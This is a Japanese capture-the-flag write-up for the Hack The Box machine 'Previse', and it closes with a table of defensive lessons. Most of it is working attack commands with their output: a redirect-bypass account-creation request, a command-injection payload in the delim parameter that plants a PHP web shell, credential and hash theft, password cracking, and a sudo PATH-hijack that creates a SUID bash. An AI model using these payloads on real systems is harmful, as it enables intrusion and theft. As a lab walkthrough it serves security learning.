Hack The BoxのWriteup(Previse)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Previse — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
EAR(Execution After Redirect)
accounts.php
→
自己アカウント作成
認証なしで登録
→
logs.php exec()注入
delimパラメータ
→
PHP Webシェル設置
→
config.php窃取
MySQL root:mySQL_p@ssw0rd!:)
→
accountsテーブル
m4lwhere MD5cryptハッシュ
→
john クラック → SSH → user.txt ✓
→
sudo access_backup.sh
gzip相対PATH呼出し
→
偽gzip → SUID bash → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.185
nmap -sV -sC -p 22,80 10.129.95.185
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Previse Login

サイト構成の把握

BASH
curl -s http://10.129.95.185/ -o /dev/null -w "%{http_code} -> %{redirect_url}\n"
curl -s http://10.129.95.185/login.php | grep -i title
RESULT
302 -> http://10.129.95.185/login.php
<title>Previse Login</title>
ℹ️
「Previse File Storage」というログイン必須のPHP自作アプリ。トップページは 未認証だとlogin.phpへ302リダイレクトされる。アカウント作成UIは 見当たらず、accounts.phpというエンドポイント名から アカウント管理機能の存在が推測できる。
PHASE 2

EAR (Execution After Redirect) による認証バイパス — 自己アカウント作成

accounts.phpの保護ロジックを調査

BASH
curl -s -i http://10.129.95.185/accounts.php | head -20
RESULT
HTTP/1.1 302 Found
Location: login.php

<center><h3>You must be an admin to access this page.</h3>...</center>
... (※アカウント作成フォームのHTML本体が続けて出力される) ...
🚨
重要発見: サーバーはセッション未確立時に header("Location: login.php")を送出するが、その直後に exitやdie()を呼んでいないため、 PHPスクリプトの実行自体は継続し、本来は管理者だけに 見せるはずのアカウント作成フォームが302レスポンスの本文に そのまま出力されてしまう(EAR = Execution After Redirect の典型例)。 さらに重要なのは、このフォーム処理ロジック自体も続行されているため、 そのままPOSTすればアカウント作成処理まで実行されてしまう点。

リダイレクトを追従せずアカウント作成POST

BASH
curl -s --max-redirs 0 -X POST \
  --data "username=kcr_pwn9&password=KcrPwn9!&confirm=KcrPwn9!&submit=" \
  http://10.129.95.185/accounts.php
RESULT (本検証の実際の応答)
HTTP/1.1 302 Found
Location: login.php
... 本文中に "Success" を含むアカウント作成完了メッセージ ...
✅
認証バイパス成功! --max-redirs 0でリダイレクトを 追従せずにいると、302レスポンスであってもサーバー側の処理 (アカウントのDB追加)は既に完了している。これで新規アカウント kcr_pwn9:KcrPwn9!を自由に作成できた。

作成したアカウントでログイン

BASH
curl -s -c cookies.txt -X POST \
  --data "username=kcr_pwn9&password=KcrPwn9!" \
  http://10.129.95.185/login.php
RESULT
Set-Cookie: PHPSESSID=8pooi3l8...; path=/
Location: /index.php
✅
ログイン成功! 以降のリクエストはこのPHPSESSID Cookieを使って認証済みユーザーとして送信する。
PHASE 3

logs.php exec()インジェクション & user.txt取得

logs.phpの脆弱な実装

NOTE
認証後アクセス可能な logs.php は、ログファイルを任意の区切り文字(delim)で
CSV風に整形してダウンロードさせる機能を持つ。サーバー側はおそらく
  exec("/bin/bash export_contacts.sh '$delim'");
のような形で、ユーザー入力(delim)をシェルコマンドへ直接連結して
exec() している。delimにシェルのコマンド区切り文字(;)を混ぜることで、
任意コマンドを注入できる。
BASH (PHP Webシェルをbase64で埋め込み、デコードしてweb rootへ書き込む)
PAYLOAD='<?php system($_GET["c"]); ?>'
B64=$(echo -n "$PAYLOAD" | base64 -w0)

curl -s -b cookies.txt -X POST \
  --data-urlencode "delim=;echo ${B64}|base64 -d>/var/www/html/kcr_pv.php;" \
  http://10.129.95.185/logs.php
✅
RCE成功! サーバーのweb root直下に kcr_pv.phpというPHP Webシェルが書き込まれた。

Webシェルでconfig.phpを読みMySQL資格情報を取得

BASH
curl -s "http://10.129.95.185/kcr_pv.php?c=cat+/var/www/html/config.php"
RESULT (本検証の実際の出力)
<?php
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}
?>
⚠️
パスワード末尾は!:)(感嘆符+コロン+閉じ括弧の顔文字風)であり、 :)!のような順序違いと取り違えやすいので実際の出力を 必ずそのままコピーすること。

MySQLからaccountsテーブルのハッシュを取得

BASH
curl -s "http://10.129.95.185/kcr_pv.php?c=mysql+-u+root+-p'mySQL_p@ssw0rd!:)'+previse+-e+'select+username,password+from+accounts;'"
RESULT (本検証の実際の出力)
username	password
m4lwhere	$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
kcr_pwn9	$1$🧂llol$uRmSdduFNfBWUko/ibUUS/
ℹ️
ハッシュはMD5crypt($1$...)形式で、ソルトに 絵文字(🧂、塩の絵文字)が使われているという凝った演出。 クラックにはjohnのmd5crypt-longフォーマットが Unicode文字を含むソルトを正しく扱える。

john でハッシュをクラック & SSHでuser.txt取得

BASH
echo 'm4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' > m4lwhere.hash
john --wordlist=/usr/share/wordlists/rockyou.txt \
  --format=md5crypt-long m4lwhere.hash
john --show --format=md5crypt-long m4lwhere.hash
RESULT
m4lwhere:ilovecody112235!

1 password hash cracked, 0 left
BASH
sshpass -p 'ilovecody112235!' ssh m4lwhere@10.129.95.185 \
  "cat /home/m4lwhere/user.txt"
RESULT
7dd68b26803ee2552e6f40be5a4389e8
user.txt — m4lwhere
7dd68b26803ee2552e6f40be5a4389e8
PHASE 4

sudoスクリプトのPATHハイジャック — root.txt取得

sudo権限の確認

BASH
sudo -l
RESULT
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
BASH
cat /opt/scripts/access_backup.sh
RESULT (抜粋)
#!/bin/bash
cd /var/www/html
gzip -c access.log > /var/backups/access_backup_$(date ...).gz
...
🚨
重要発見: このスクリプトはgzipコマンドを 絶対パス(/bin/gzip)ではなく裸のコマンド名で 呼び出している。シェルはこの場合PATH環境変数に従ってgzipを 検索するため、PATHの先頭に偽のgzipを置けば、 root権限で実行されるこのスクリプト経由で任意コードを実行できる。

偽gzipの設置 & PATHハイジャック

BASH (SSHシェル上で実行)
printf '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash\n' > /tmp/gzip
chmod +x /tmp/gzip
export PATH=/tmp:$PATH
echo 'ilovecody112235!' | sudo -S /opt/scripts/access_backup.sh
/tmp/bash -p -c 'cat /root/root.txt'
RESULT (本検証の実際の出力)
c8e45e8689408a0e80907417ca4d6649
✅
root化成功! sudoでroot権限で起動された access_backup.shが、ハイジャックしたPATHから偽 /tmp/gzipを読み込んで実行。これが/bin/bashを /tmp/bashとしてコピーしSUIDビット(4755)を付与するため、 以降は/tmp/bash -pで特権を保持したままシェルを起動でき /root/root.txtを直接読み取れた。
root.txt — sudo access_backup.sh PATH hijack
c8e45e8689408a0e80907417ca4d6649
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — m4lwhere
7dd68b26803ee2552e6f40be5a4389e8
root.txt — sudo access_backup.sh PATH hijack
c8e45e8689408a0e80907417ca4d6649

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
EAR (Execution After Redirect) accounts.php 認証バイパス・自己アカウント作成 Critical リダイレクトを追従せずPOSTし、未認証のまま処理完了させる
exec() コマンドインジェクション logs.php (delimパラメータ) リモートコード実行 (www-data) Critical delim値にシェル区切り文字を混入しPHP Webシェルを書き込む
設定ファイルの平文パスワード config.php (MySQL) 資格情報の奪取 High Webシェルで直接読取、accountsテーブルのハッシュ取得にも悪用
sudoスクリプトの相対PATH呼び出し /opt/scripts/access_backup.sh (gzip) 権限昇格 (root) High PATH環境変数を操作し偽gzipをroot権限で実行させSUID bashを作成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/http (Previse File Storage)
2認証バイパスEAR (–max-redirs 0 でPOST)自己アカウント kcr_pwn9:KcrPwn9!
3RCE+横移動logs.php exec()注入 → config.php → MySQL → johnuser.txt (m4lwhere)
4権限昇格sudoスクリプトのPATHハイジャックroot.txt

学んだ教訓 & 防御策

問題点防御策
リダイレクトヘッダー送出後にexit/die()を呼んでいない(EAR) 認証チェックで拒否する全ての分岐で、必ずheader()直後にexit;を置き以降の処理を確実に止める。
ユーザー入力をサニタイズせずシェルコマンドへ連結している exec()/system()は極力使わず、どうしても必要な場合はescapeshellarg()で確実にエスケープし、可能ならホワイトリスト方式に限定する。
データベース接続情報(パスワード)が設定ファイルに平文で保存されている 環境変数やシークレット管理サービスを利用し、設定ファイルに平文パスワードを直接書かない。Webルート外への配置やパーミッション制限も併用する。
sudo実行スクリプトが外部コマンドを絶対パスでなく相対PATH解決で呼び出している sudoで実行されるスクリプトが呼ぶ外部コマンドは必ず絶対パスで指定し、スクリプト冒頭でPATH環境変数自体を安全な固定値へ上書きする。
HackTheBox: Previse | 完全攻略レポート